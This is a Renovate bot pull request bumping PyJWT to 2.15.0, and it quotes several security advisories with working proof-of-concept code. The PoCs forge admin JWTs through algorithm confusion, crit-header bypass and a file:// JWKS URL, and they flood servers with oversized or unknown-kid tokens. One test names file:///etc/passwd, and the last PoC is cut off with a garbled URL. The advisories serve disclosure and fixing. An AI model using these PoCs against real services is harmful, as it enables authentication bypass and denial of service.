Skip to content

Bump PyJWT to 2.15.0 [SECURITY] - #528

Open
renovate[bot] wants to merge 1 commit into
3.1from
renovate/pypi-pyjwt-vulnerability
Open

renovate[bot] wants to merge 1 commit into
3.1from
renovate/pypi-pyjwt-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Mar 14, 2026 •

Copy link
Copy Markdown
Contributor

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
PyJWT ==2.8.0 → ==2.15.0 age confidence

PyJWT accepts unknown crit header extensions

CVE-2026-32597 / GHSA-752w-5fwx-jx9f

More information

Details

Summary

PyJWT does not validate the crit (Critical) Header Parameter defined in
RFC 7515 §4.1.11. When a JWS token contains a crit array listing
extensions that PyJWT does not understand, the library accepts the token
instead of rejecting it. This violates the MUST requirement in the RFC.

This is the same class of vulnerability as CVE-2025-59420 (Authlib),
which received CVSS 7.5 (HIGH).


RFC Requirement

RFC 7515 §4.1.11:

The "crit" (Critical) Header Parameter indicates that extensions to this
specification and/or [JWA] are being used that MUST be understood and
processed. [...] If any of the listed extension Header Parameters are
not understood and supported by the recipient, then the JWS is invalid.


Proof of Concept
import jwt  # PyJWT 2.8.0
import hmac, hashlib, base64, json

##### Construct token with unknown critical extension
header = {"alg": "HS256", "crit": ["x-custom-policy"], "x-custom-policy": "require-mfa"}
payload = {"sub": "attacker", "role": "admin"}

def b64url(data):
    return base64.urlsafe_b64encode(data).rstrip(b"=").decode()

h = b64url(json.dumps(header, separators=(",", ":")).encode())
p = b64url(json.dumps(payload, separators=(",", ":")).encode())
sig = b64url(hmac.new(b"secret", f"{h}.{p}".encode(), hashlib.sha256).digest())
token = f"{h}.{p}.{sig}"

##### Should REJECT — x-custom-policy is not understood by PyJWT
try:
    result = jwt.decode(token, "secret", algorithms=["HS256"])
    print(f"ACCEPTED: {result}")
    # Output: ACCEPTED: {'sub': 'attacker', 'role': 'admin'}
except Exception as e:
    print(f"REJECTED: {e}")

Expected: jwt.exceptions.InvalidTokenError: Unsupported critical extension: x-custom-policy
Actual: Token accepted, payload returned.

Comparison with RFC-compliant library
##### jwcrypto — correctly rejects
from jwcrypto import jwt as jw_jwt, jwk
key = jwk.JWK(kty="oct", k=b64url(b"secret"))
jw_jwt.JWT(jwt=token, key=key, algs=["HS256"])

##### raises: InvalidJWSObject('Unknown critical header: "x-custom-policy"')

Impact
  • Split-brain verification in mixed-library deployments (e.g., API
    gateway using jwcrypto rejects, backend using PyJWT accepts)
  • Security policy bypass when crit carries enforcement semantics
    (MFA, token binding, scope restrictions)
  • Token binding bypass — RFC 7800 cnf (Proof-of-Possession) can be
    silently ignored
  • See CVE-2025-59420 for full impact analysis

Suggested Fix

In jwt/api_jwt.py, add validation in _validate_headers() or
decode():

_SUPPORTED_CRIT = {"b64"}  # Add extensions PyJWT actually supports

def _validate_crit(self, headers: dict) -> None:
    crit = headers.get("crit")
    if crit is None:
        return
    if not isinstance(crit, list) or len(crit) == 0:
        raise InvalidTokenError("crit must be a non-empty array")
    for ext in crit:
        if ext not in self._SUPPORTED_CRIT:
            raise InvalidTokenError(f"Unsupported critical extension: {ext}")
        if ext not in headers:
            raise InvalidTokenError(f"Critical extension {ext} not in header")

CWE
  • CWE-345: Insufficient Verification of Data Authenticity
  • CWE-863: Incorrect Authorization
References

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


PyJWT: Unauthenticated DoS via unbounded Base64URL decoding of unused payload segment in b64=false detached JWS

CVE-2026-48525 / GHSA-w7vc-732c-9m39

More information

Details

[!NOTE]
Practical impact depends on whether request body-size limits are enforced upstream (proxy/web-server/framework). Deployments with typical body-size caps (≤2 MB) bound the amplifier significantly; deployments accepting larger token inputs are more exposed.

When verifying detached JWS tokens using the unencoded-payload option ("b64": false, RFC 7797), PyJWT performs Base64URL decoding of the compact-serialization payload segment before enforcing the detached-payload rules.

For b64=false, PyJWT later discards that decoded payload and replaces it with the caller-provided detached_payload. In practice, this turns the middle segment into an attacker-controlled “work amplifier”: a remote client can supply an arbitrarily large Base64URL payload segment that forces CPU work + memory allocations even if the signature is invalid.

This creates an unauthenticated DoS vector against any endpoint that verifies detached JWS using PyJWT.


Affected Component(s)
  • jwt/api_jws.py

    • PyJWS.decode() / PyJWS.decode_complete()
    • _load() (parsing and Base64URL decoding)

Root Cause (exact logic flaw)
What happens in the code

In jwt/api_jws.py, decode_complete() does the following (order matters):

  • Calls _load(jwt) first, which decodes the token segments
  • Only after that, checks header.get("b64") and if False, it replaces payload = detached_payload and rebuilds the signing input

This behavior is visible in decode_complete():

  • _load(jwt) happens before the b64=false handling
  • then payload = detached_payload and signing_input = ... detached_payload happens afterward ([GitHub][1])

Inside _load(), PyJWT unconditionally performs:

  • payload = base64url_decode(payload_segment)
    This is the expensive step the attacker can amplify ([GitHub][1])
Why this becomes a vulnerability

For b64=false detached JWS, the payload segment in compact form is effectively not needed for verification in PyJWT’s own logic (since the library uses detached_payload as the real payload). Yet PyJWT still decodes it first, meaning:

  • cost is paid even when signature is invalid
  • the decoded bytes are discarded
  • attacker controls the size of this cost via token length

Impact (evidence-driven)
Security impact
  • Unauthenticated remote DoS: decoding work happens before signature rejection → attacker does not need signing key.
  • CPU amplification: Base64URL decode time scales linearly with payload segment size.
  • Memory amplification: decoded output allocates large byte buffers (tens of MB per request).
  • Operational impact: request queueing / worker starvation under modest concurrency bursts.
Standards context (RFC 7797)

RFC 7797 explicitly notes this option is used when payload is large and/or detached, and discusses interoperability requirements around marking it critical (“crit” with “b64”). ([IETF Datatracker][2])
(PyJWT supports crit validation, but the issue here is decode order / unbounded decode of an unused segment.)


Affected Versions
  • Confirmed affected: PyJWT 2.12.1 (tested from your local editable install and repo).
  • Likely affected: all versions that include detached payload support for JWS decoding, which was introduced in 2.4.0 (“Add detached payload support for JWS encoding and decoding”). ([pyjwt.readthedocs.io][3])

(For GHSA, this phrasing is strong: “confirmed” + “likely since feature introduction”.)


Threat Model
Typical real deployment

A service verifies signed HTTP requests or webhooks using detached JWS:

  • token is provided in JSON body / query / header
  • actual payload is the HTTP request body passed as detached_payload
Attacker
  • remote unauthenticated client
  • can send requests to verify endpoint
  • does not need a valid signature (invalid signature still triggers the expensive decode path)
Attack chain
  1. Attacker crafts a JWS compact token with header containing "b64": false and crit:["b64"].
  2. Attacker inflates the payload segment (middle segment) to millions of Base64URL characters.
  3. Server calls PyJWS.decode(...detached_payload=...).
  4. PyJWT decodes the inflated segment (CPU + memory).
  5. Signature is rejected afterward (401) — but resources already consumed.
  6. Repeated requests or bursts cause queueing/worker starvation → DoS.

Proof of Concept - file names + results
PoC placement

PoC # 1 - Localhost verification server

File: server_localhost.py

Purpose: real HTTP endpoint (POST /verify) that calls PyJWT detached verification and prints:
ok / time_ms / peak_bytes / token_len / error.

Results (server console output)
[+] Listening on http://127.0.0.1:8000
[+] POST /verify  JSON: {"token": "..."}

[127.0.0.1] ok=True  time_ms=0.102 peak_bytes=2624     token_len=117      err=None
[127.0.0.1] ok=False time_ms=2.012 peak_bytes=2000983  token_len=500078   err=InvalidSignatureError
[127.0.0.1] ok=True  time_ms=1.591 peak_bytes=2001061  token_len=500117   err=None

[127.0.0.1] ok=True  time_ms=0.065 peak_bytes=2304     token_len=117      err=None
[127.0.0.1] ok=False time_ms=7.534 peak_bytes=8000983  token_len=2000078  err=InvalidSignatureError
[127.0.0.1] ok=True  time_ms=6.347 peak_bytes=8001061  token_len=2000117  err=None

[127.0.0.1] ok=True  time_ms=0.066 peak_bytes=2304     token_len=117      err=None
[127.0.0.1] ok=False time_ms=23.034 peak_bytes=32000983 token_len=8000078 err=InvalidSignatureError
[127.0.0.1] ok=True  time_ms=22.097 peak_bytes=32001061 token_len=8000117 err=None

Key takeaways from these results

  • At 8,000,000 chars, a single invalid-signature request still causes:

    • ~23 ms server work
    • ~32 MB peak allocations
    • returns 401 (invalid signature) → attacker does not need key.

PoC # 2 - Localhost network client

File: client_localhost.py
Purpose: generates baseline + (invalid signature) + (valid signature) tokens and sends them over HTTP to localhost server.

Results (client output)
payload-chars = 500,000
=== BASELINE (valid b64=false token) ===
HTTP: 200
client_wall_ms: 6.3499...
server_time_ms: 0.10197...
server_peak_bytes: 2624

=== ATTACK (INVALID signature - attacker needs no key) ===
HTTP: 401
client_wall_ms: 4.1010...
server_time_ms: 2.01217...
server_peak_bytes: 2000983
error: InvalidSignatureError

=== ATTACK (VALID signature - accepted path still wastes) ===
HTTP: 200
client_wall_ms: 3.6586...
server_time_ms: 1.59092...
server_peak_bytes: 2001061
payload-chars = 2,000,000
=== BASELINE ===
HTTP: 200
server_time_ms: 0.06527...
server_peak_bytes: 2304

=== ATTACK (INVALID signature) ===
HTTP: 401
server_time_ms: 7.53430...
server_peak_bytes: 8000983

=== ATTACK (VALID signature) ===
HTTP: 200
server_time_ms: 6.34682...
server_peak_bytes: 8001061
payload-chars = 8,000,000
=== BASELINE ===
HTTP: 200
server_time_ms: 0.06573...
server_peak_bytes: 2304

=== ATTACK (INVALID signature) ===
HTTP: 401
server_time_ms: 23.03403...
server_peak_bytes: 32000983

=== ATTACK (VALID signature) ===
HTTP: 200
server_time_ms: 22.09702...
server_peak_bytes: 32001061

Why this is strong evidence

  • The server clearly does heavy work before rejecting invalid signatures.
  • The “valid signature” case shows even accepted requests waste resources due to unused payload segment.

PoC # 3 - Localhost flood / burst concurrency

File: flood_localhost.py
Purpose: sends N concurrent invalid-signature requests over HTTP to demonstrate queueing/worker starvation.

Results (your run: 20 concurrent @​ 8,000,000 chars)
total_wall_ms: 1374.5405770000616

(16, 401, 1156.4504789998864, 21.350951999920653, 32000983, 'InvalidSignatureError')
(19, 401, 1151.2852699997893, 21.208721999755653, 32000983, 'InvalidSignatureError')
(18, 401, 1102.7211239997996, 21.685218999664357, 32000983, 'InvalidSignatureError')
(13, 401, 1102.0718189997751, 21.26572200040755, 32000983, 'InvalidSignatureError')
(11, 401, 1095.9345460000804, 20.586017000368884, 32000983, 'InvalidSignatureError')
(17, 401, 1085.2552810001725, 22.893039000337012, 32000983, 'InvalidSignatureError')
(10, 401, 1078.3629560000918, 22.737160999895423, 32000983, 'InvalidSignatureError')
(7,  401, 1048.2011740000416, 22.476282000297942, 32000983, 'InvalidSignatureError')
(8,  401, 378.93017700025666, 21.377330999712285, 32000983, 'InvalidSignatureError')
(1,  401, 281.45106800002395, 21.34223099983501, 32000983, 'InvalidSignatureError')

Interpretation

  • Each request still costs ~20–23 ms server processing and ~32 MB peak allocations.
  • But client-observed latency rises up to ~1.15 seconds because requests queue behind each other → clear worker starvation/HoL blocking.
  • All were rejected with 401 InvalidSignatureError → still unauthenticated.

Fix
Goal

Prevent unbounded resource consumption from an attacker-controlled payload segment that is unused in b64=false detached flow.

Minimal change strategy

In _load() (or by refactoring parse order), do not Base64-decode payload_segment until after you know whether b64=false applies.

Two safe options:

  1. Reject non-empty payload segment when b64=false

    • Parse header first
    • If b64 is false and payload_segment is non-empty → raise DecodeError before decoding
    • Then verification uses detached_payload only
  2. Skip decoding payload segment entirely when b64=false

    • Keep payload segment as raw bytes or empty
    • Use detached payload for signing input

This aligns with the idea that detached payload is the trusted payload input for verification; the compact payload segment should not become a resource amplification vector.

(Implementation context: the current decode order and unconditional base64url_decode(payload_segment) are visible in the file and line region around _load() and decode_complete() ([GitHub][1]).)


Workarounds
  • Enforce strict max token length at the HTTP boundary (proxy/gateway).
  • Apply rate limiting on verification endpoints.
  • If detached JWS (b64=false) is not needed in your app, reject tokens where header includes "b64": false.

Severity

  • CVSS Score: 5.3 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


PyJWT: Public-key JWK accepted as HMAC secret enables forged HS256 tokens when mixed families are allowed

CVE-2026-48526 / GHSA-xgmm-8j9v-c9wx

More information

Details

[!NOTE]
Exploitation requires a verifier configured with both symmetric and asymmetric algorithms in algorithms=[…] and a raw-JSON JWK as the key= argument, both contrary to documented usage, hence the High attack-complexity rating.

Summary

When the verifier is decoding JSON Web Tokens, while supporting both asymmetric and HMAC algorithms, the library does not validate use of JSON Web Keys in HMAC algorithm, allowing attacker to use the issuer public key as the secret key for HMAC algorithm.

Details

In JWT algorithm confusion attack, the verifier is mistakenly use of public key to be used as the shared secret in symmetric algorithms.
In pyjwt case, when the verifier is supporting both HMAC with other asymmetric algorithm and mistakenly using the public key of the issuer to verify the token as demonstrated in the following example:

jws.decode(token, key=rsa_jwk_json, algorithms=["HS256","RS256"]))

An attacker who specifies in the token header to use HMAC, will cause the verifier to accept the JWK as the secret key in HMAC algorithm.
The attacker will be able to forge JWT signed with the public key of the issuer to impersonate any user.

If we look on current protections implemented in the library, at class HMACAlgorithm:

  def prepare_key(self, key: str | bytes) -> bytes:
        key_bytes = force_bytes(key)

        if is_pem_format(key_bytes) or is_ssh_key(key_bytes):
            raise InvalidKeyError(
                "The specified key is an asymmetric key or x509 certificate and"
                " should not be used as an HMAC secret."
            )

        return key_bytes

We can observe that there is a protection against this type of attacks but only when the verifier is using PEM format or SSH key to verify the token. JSON Web Keys, on the other hand will pass the validation.

In The following example:
jws.decode(token, key=rsa_jwk_json, algorithms=["HS256","RS256"]))
There is indeed a wrong implementation of the verifier, but a stronger protection in the library side will prevent and protect against those type of misconfiugrations.

The bypass happens only if the verifier:
(a) allows HS* and an asymmetric algorithm in the same call and (b) passes a public-key value as key.

PoC

Please run the code and observe the payload printed in clear text({"sub":"alice","admin":true}')

from jwt.api_jws import PyJWS
import json, base64, hmac, hashlib

def b64u(b): return base64.urlsafe_b64encode(b).rstrip(b"=")

##### Public RSA JWK (public by design)
rsa_jwk_json = json.dumps({"kty":"RSA","n":"AQAB","e":"AQAB"})

##### Attacker-crafted token: flip to HS256 and choose claims
header  = b64u(b'{"alg":"HS256","typ":"JWT"}')
payload = b64u(b'{"sub":"alice","admin":true}')
signing = header + b"." + payload

##### Sign with HMAC using the PUBLIC JWK JSON TEXT as the “secret”
sig   = hmac.new(rsa_jwk_json.encode(), signing, hashlib.sha256).digest()
token = (signing + b"." + b64u(sig)).decode()

##### Vulnerable verifier: mixed families + JWK JSON string as key
jws = PyJWS()
print(jws.decode(token, key=rsa_jwk_json, algorithms=["HS256","RS256"]))

##### -> b'{"sub":"alice","admin":true}'
Impact

Unauthenticated token forgery → full identity/role impersonation at the resource server (authorization bypass).

Severity

  • CVSS Score: 7.4 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


PyJWKClient: missing scheme allowlist enables CVE-2024-21643-class SSRF + token forgery via file://, ftp://, data: schemes

CVE-2026-48522 / GHSA-993g-76c3-p5m4

More information

Details

[!NOTE]
The library does not directly return non-HTTP(S) URI contents to the attacker; the chained "plant a JWKS to forge tokens" scenario described in the original report requires additional application-layer flaws (attacker write access to a filesystem path, untrusted jku derivation) that this fix does not address. Severity is scored for the scheme-acceptance bug in isolation.

Summary

PyJWKClient passes its uri argument directly to urllib.request.urlopen() which uses Python stdlib's default OpenerDirector registering HTTPHandler, HTTPSHandler, FTPHandler, FileHandler, and DataHandler. There is currently no documented option to restrict which schemes PyJWKClient will fetch.

If an application's jku URL ingestion path accepts attacker-influenced URLs (e.g., from JWT header, configuration file, OAuth flow parameter), the attacker can:

  1. Cause PyJWKClient to read arbitrary local files via file:// (SSRF on local filesystem) — the file's contents are passed to json.load.
  2. Cause PyJWKClient to attempt FTP / data-URI fetches (broader SSRF surface).
  3. Forge tokens that PyJWT verifies as valid — if the attacker can write to any path the JKU URL points at AND influences the URL, they can plant a JWK Set containing their own public key, sign tokens with the matching private key, and jwt.decode() accepts.
Affected versions

Tested and reproducible on PyJWT 2.11.0 and 2.12.1. Likely all versions back to PyJWKClient introduction.

Reproducer (full attack chain — verified empirically)
import jwt as pyjwt
from jwt import PyJWKClient
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
import json, base64, time

##### Attacker generates keypair (no relation to real IdP)
key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
pub_n = key.public_key().public_numbers().n

def b64u(n):
    bl = (n.bit_length() + 7) // 8
    return base64.urlsafe_b64encode(n.to_bytes(bl, 'big')).rstrip(b'=').decode()

##### Attacker writes JWK Set containing their public key to /tmp
jwks = {"keys":[{"kty":"RSA","kid":"attacker","use":"sig","alg":"RS256",
                  "n":b64u(pub_n),"e":"AQAB"}]}
with open("/tmp/attacker.json","w") as f:
    json.dump(jwks, f)

##### Attacker mints token signed with their private key, jku=file://
priv_pem = key.private_bytes(serialization.Encoding.PEM,
    serialization.PrivateFormat.PKCS8, serialization.NoEncryption())
now = int(time.time())
token = pyjwt.encode(
    {"sub":"attacker","aud":"target-app","iat":now,"exp":now+3600},
    priv_pem, algorithm="RS256",
    headers={"kid":"attacker","jku":"file:///tmp/attacker.json","typ":"JWT"})

##### Vulnerable application pattern: caller derives jku from token header

##### and passes to PyJWKClient without scheme validation
header = pyjwt.get_unverified_header(token)
client = PyJWKClient(header["jku"])      # <-- accepts file:// silently
key_obj = client.get_signing_key_from_jwt(token)
decoded = pyjwt.decode(token, key_obj.key, algorithms=["RS256"],
                       audience="target-app")
print("Token verified:", decoded)

##### Output: Token verified: {'sub': 'attacker', 'aud': 'target-app', ...}
Cross-library evidence — PyJWT is the outlier

The same composition pattern is structurally safe in 4 other mainstream JWT libraries:

Library Behavior on jku=file://... Mechanism
PyJWT 2.12.1 (Python) Reads file from disk, parses, uses for signature verification urllib default OpenerDirector includes FileHandler
panva/jose 6.2.3 (Node.js) Refuses pre-fetch WHATWG fetch() rejects non-http(s) at fetch-spec layer
golang-jwt + MicahParks/keyfunc v3.4.0 (Go) Refuses pre-fetch http.DefaultTransport only registers http/https
Microsoft.IdentityModel.Tokens 8.18.0 (.NET) Refuses pre-fetch HttpDocumentRetriever defaults RequireHttps=true
Spring Security NimbusJwtDecoder 6.3.4 (Java) Refuses pre-fetch URI parser delegation refuses non-http(s) at request build

PyJWT is the only library of these 5 where the default behavior allows file:// to reach the fetch layer.

Recommended fix

Add allowed_schemes: tuple[str, ...] = ("https", "http") kwarg to PyJWKClient.__init__. Pre-validate URL scheme before invoking urllib.request.urlopen. URLs with disallowed schemes raise PyJWKClientError before any fetch is attempted.

Diff sketch against jwt/jwks_client.py
def __init__(
    self, uri: str,
    cache_keys: bool = False, max_cached_keys: int = 16,
    cache_jwk_set: bool = True, lifespan: float = 300,
    headers: dict[str, Any] | None = None, timeout: float = 30,
    ssl_context: SSLContext | None = None,
    allowed_schemes: tuple[str, ...] = ("https", "http"),  # NEW
):
    """...
    :param allowed_schemes: URL schemes the JWKS endpoint is permitted
        to use. Default ``("https", "http")``. Pass ``("https",)`` for
        HTTPS-only operation. URLs with disallowed schemes raise
        ``PyJWKClientError`` before any fetch is attempted.
    """
    # ... existing init code ...
    self.allowed_schemes = allowed_schemes
    self._validate_uri_scheme()

def _validate_uri_scheme(self) -> None:
    """Reject the configured URI early if its scheme isn't allowed."""
    from urllib.parse import urlparse
    parsed = urlparse(self.uri)
    scheme = parsed.scheme.lower()
    if not scheme:
        raise PyJWKClientError(
            f"PyJWKClient URI '{self.uri}' has no scheme; expected one of "
            f"{self.allowed_schemes!r}")
    if scheme not in self.allowed_schemes:
        raise PyJWKClientError(
            f"PyJWKClient URI scheme '{scheme}' is not in allowed_schemes "
            f"{self.allowed_schemes!r}; refusing to fetch from this URL")
Tests to add
def test_pyjwkclient_rejects_file_scheme():
    with pytest.raises(PyJWKClientError, match="not in allowed_schemes"):
        PyJWKClient("file:///etc/passwd")

def test_pyjwkclient_rejects_ftp_scheme():
    with pytest.raises(PyJWKClientError):
        PyJWKClient("ftp://example.org/keys.json")

def test_pyjwkclient_rejects_data_scheme():
    with pytest.raises(PyJWKClientError):
        PyJWKClient('data:application/json,{"keys":[]}')

def test_pyjwkclient_caller_can_lock_to_https_only():
    with pytest.raises(PyJWKClientError):
        PyJWKClient("http://internal.test/jwks.json", allowed_schemes=("https",))
Compatibility
  • Default allowed_schemes=("https", "http") preserves backwards compatibility for the overwhelming majority of callers using HTTP/HTTPS JWKS endpoints
  • Breaking only for callers using non-HTTP schemes intentionally (vanishingly rare)
  • No changes to urllib fetch logic itself — the fix is a pre-validation gate
Class precedent

This is the same class as CVE-2024-21643 (Apache Jena JKU-trust: attacker-supplied JKU URL fetched without scheme validation). NVD-rated CVSS 7.5.

Prior art (verified 2026-05-06)

Confirmed via live recon (NVD direct, OSV.dev, PyJWT GitHub Security Advisories, issue/PR keyword search, CHANGELOG inspection):

Credit

Reported by Keijo Tuominen — independent security research at CMHT.tech (https://cmht.tech).

Reproduction artifacts available on request: full multi-language probe pack (5 wrappers × 25 fixtures × 125 cells) demonstrating cross-library divergence at the URL-scheme boundary.

Severity

  • CVSS Score: 4.2 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


PyJWKClient unbounded JWKS endpoint requests via attacker-controlled kid values (DoS)

CVE-2026-48524 / GHSA-fhv5-28vv-h8m8

More information

Details

[!NOTE]
The vulnerability surfaces only when a JWKS fetch fails; an attacker can attempt to provoke that with sustained unknown-kid traffic, but the outcome depends on upstream JWKS-endpoint behavior (rate limiting, transient errors) which is beyond the attacker's control. Impact is reduced auth availability until the next successful fetch, not complete denial of service.

Summary

PyJWKClient.get_signing_key() forces a fresh HTTP request to the JWKS endpoint for every JWT with an unknown kid value, with no rate limiting. Since kid comes from the unverified token header, an attacker can trigger unlimited outbound requests.

Additionally, fetch_data() finally block clears the JWKS cache on network error.

Root Cause

jwt/jwks_client.py:172-198 - get_signing_key(kid) calls get_signing_keys(refresh=True) for unknown kids, bypassing TTL cache with no cooldown.
jwt/jwks_client.py:120-122 - finally block writes None to cache on error, clearing valid data.

Impact
  • DoS against JWKS endpoint (unlimited requests per invalid token)
  • DoS against application (network I/O latency)
  • Cascading failure (rate limiting clears cache, breaking legitimate auth)
Suggested Fix
  1. Add refresh cooldown (refuse refresh more than once per TTL period)
  2. Move cache write from finally to else block
Affected Versions

All versions with PyJWKClient (2.4.0 through 2.12.1)

Severity

  • CVSS Score: 3.7 / 10 (Low)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


PyJWT: Public keys in DER form are accepted as HMAC secrets, bypassing the CVE-2022-29217 guard

CVE-2026-102271 / GHSA-p4g4-x82p-q773

More information

Details

Summary

HMACAlgorithm.prepare_key blocks asymmetric keys from being used as HMAC secrets by searching for text markers only. It looks for -----BEGIN and for an ssh- prefix. The same key in DER form is binary ASN.1 and has neither marker, so it passes the check and is used as an HMAC secret.

An application that verifies tokens with an RSA or EC public key, and also allows HS256 with that same key, can be given a forged token. The attacker signs it with the public key, which is public. This is the key confusion problem CVE-2022-29217 was filed for, reachable again through a different encoding.

The reach is smaller than the original CVE. The application must already be in that misconfiguration, and it must hold its public key as DER bytes rather than PEM.

Details

The guard is at jwt/algorithms.py:331:

if is_pem_format(key_bytes) or is_ssh_key(key_bytes):
    raise InvalidKeyError(
        "The specified key is an asymmetric key or x509 certificate and"
        " should not be used as an HMAC secret."
    )

Both helpers are text matchers. Neither one parses the key.

  • jwt/utils.py:126, is_pem_format, runs a regex for ----[- ]BEGIN ...----.
  • jwt/utils.py:141, is_ssh_key, checks startswith against a list of ssh- and ecdsa-sha2- prefixes.

A DER encoded public key starts with the bytes 0x30 0x82. It matches neither, so prepare_key returns it unchanged and it becomes the HMAC secret.

There is no DER handling anywhere in the package. grep -rni "\bDER\b|load_der" jwt/ tests/ returns nothing.

This affects three encodings that are all blocked in their PEM form today:

  • DER SubjectPublicKeyInfo
  • DER PKCS#1
  • DER encoded X.509 certificate

History of this guard:

Applications that use PyJWK or PyJWKClient are not affected. jwt/api_jws.py:395 binds the header alg to the key's own algorithm, so HS256 never reaches HMACAlgorithm.prepare_key on that path.

Suggested fix: try to parse the bytes as a key and reject if parsing works. For example load_der_public_key, load_der_private_key and load_der_x509_certificate in a try/except chain, next to the checks already there. A random HMAC secret will not parse as valid DER, so real secrets should not be rejected.

PoC

Tested on 2.4.0, on 2.13.0, and on main at commit 7144e4534. All three behave the same. The guard has been marker based since 2.4.0, so the versions in between are very likely affected as well.

pip install "pyjwt==2.13.0" cryptography
python poc.py

No special configuration is needed. The script builds its own key.

import base64
import hashlib
import hmac
import json

import jwt
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives.serialization import Encoding, PublicFormat

pub = rsa.generate_private_key(public_exponent=65537, key_size=2048).public_key()
pem = pub.public_bytes(Encoding.PEM, PublicFormat.SubjectPublicKeyInfo)
der = pub.public_bytes(Encoding.DER, PublicFormat.SubjectPublicKeyInfo)
der_pkcs1 = pub.public_bytes(Encoding.DER, PublicFormat.PKCS1)

def b64(raw):
    return base64.urlsafe_b64encode(raw).rstrip(b"=")

def forge(secret):
    # The attacker does not use PyJWT. They only need the public key bytes.
    head = b64(json.dumps({"alg": "HS256", "typ": "JWT"}).encode())
    body = b64(json.dumps({"user": "admin", "role": "admin"}).encode())
    signing_input = head + b"." + body
    sig = hmac.new(secret, signing_input, hashlib.sha256).digest()
    return (signing_input + b"." + b64(sig)).decode()

##### PEM form is rejected, as expected since CVE-2022-29217.
try:
    jwt.decode(forge(pem), pem, algorithms=["RS256", "HS256"])
except jwt.exceptions.InvalidKeyError as exc:
    print("PEM rejected:", exc)

##### Same key, DER form. The forged token verifies.
print("DER SPKI accepted:", jwt.decode(forge(der), der, algorithms=["RS256", "HS256"]))
print("DER PKCS#1 accepted:", jwt.decode(forge(der_pkcs1), der_pkcs1, algorithms=["RS256", "HS256"]))

Output:

PEM rejected: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC s
DER SPKI accepted: {'user': 'admin', 'role': 'admin'}
DER PKCS#1 accepted: {'user': 'admin', 'role': 'admin'}

The token is signed with plain hmac, so this exercises the verify path only. The PEM and the DER values come from the same key object, so the encoding is the only thing that changes.

We also have a regression test written in your pytest style. It uses your own tests/keys fixtures, covers the DER certificate case too, and fails on current main. Glad to send it or open a PR.

Impact

Key confusion, CWE-347, improper verification of a cryptographic signature. Same class as CVE-2022-29217.

Who is affected: applications that verify tokens with an asymmetric public key, also list an HS* algorithm pass that public key to jwt.decode as DER bytes.

What an attacker gets: they can mint tokens with any claims they want, so they can log in as any user. They is public, and they re-encode it to DER. Nothing secret has to be stolen first.

What limits it: the application must already be in the mixed HS* and RS* misconfiguration. It must also hoEM is the more common form and is still blocked. Users of PyJWK and PyJWKClient are not affected.

Maintainer update (2026-09-10): We reproduced the issue for DER SubjectPublicKeyInfo, RSA PKCS#1 public-key DER, and DER X.509 certificate inputs when a caller mixes HS* and an asymmetric algorithm and passes the public material as raw bytes. The fix is on master in commit 2798504fa2663364573cf2d1043d8d7fef389499; HMACAlgorithm.prepare_key now rejects DER public keys and certificates when cryptography is available, while arbitrary binary HMAC secrets remain accepted. Verification included the DER regression/control tests, full python -m tox (available environments passed; unavailable interpreters were skipped), Ruff, mypy, packaging, and coverage. The fix has not yet shipped in a release, so this advisory is being moved from triage to draft and will remain unpublished until a supported 2.x release contains the fix. Private-key container formats are outside this fix scope.

Maintainer update — 2026-09-11

The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.

Severity

  • CVSS Score: 7.4 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


PyJWT: PyJWKClient still amplifies unauthenticated JWKS fetches on unknown kid values (incomplete fix of CVE-2026-48524)

CVE-2026-101917 / GHSA-2gx3-rcp4-g85q

More information

Details

Summary
CVE-2026-48524 (GHSA-fhv5-28vv-h8m8, "PyJWKClient unbounded JWKS endpoint requests via attacker-controlled kid values (DoS)") was fixed in 2.13.0 by stopping fetch_data() from clearing the cache on a fetch error. That closed one amplification path but did not add the mitigation the advisory's title implies: there is still no rate-limit, negative-cache, or minimum-refresh-interval for unknown kids.

At HEAD, get_signing_key(kid) (jwt/jwks_client.py:185-211), on any unknown kid, calls get_signing_keys(refresh=True), and refresh=True bypasses jwk_set_cache unconditionally and forces a fresh fetch_data(). The kid is read from the unverified token header (get_signing_key_from_jwt decodes with verify_signature=False), so no valid token and no authentication is required. lru_cache does not cache the raised exception, so even the same unknown kid repeated re-fetches on every call.

Affected
pyjwt <= 2.13.0 (the latest release; the patched release for CVE-2026-48524). No fixed version yet.

Proof of concept (verified on 2.13.0, cache enabled = realistic prod config)
import threading, http.server, socketserver, json
from jwt import PyJWKClient
hits = {'n': 0}
JWKS = json.dumps({"keys":[{"kty":"oct","kid":"real","k":"AAAA"}]}).encode()
class H(http.server.BaseHTTPRequestHandler):
def do_GET(self):
hits['n'] += 1
self.send_response(200); self.send_header('Content-Type','application/json'); self.end_headers()
self.wfile.write(JWKS)
def log_message(self,*a): pass
srv = socketserver.TCPServer(('127.0.0.1',0), H); port = srv.server_address[1]
threading.Thread(target=srv.serve_forever, daemon=True).start()
c = PyJWKClient(f'http://127.0.0.1/:{port}[/jwks](tg://bot_command?command=jwks).json', cache_keys=True, lifespan=3600)
for i in range(8):
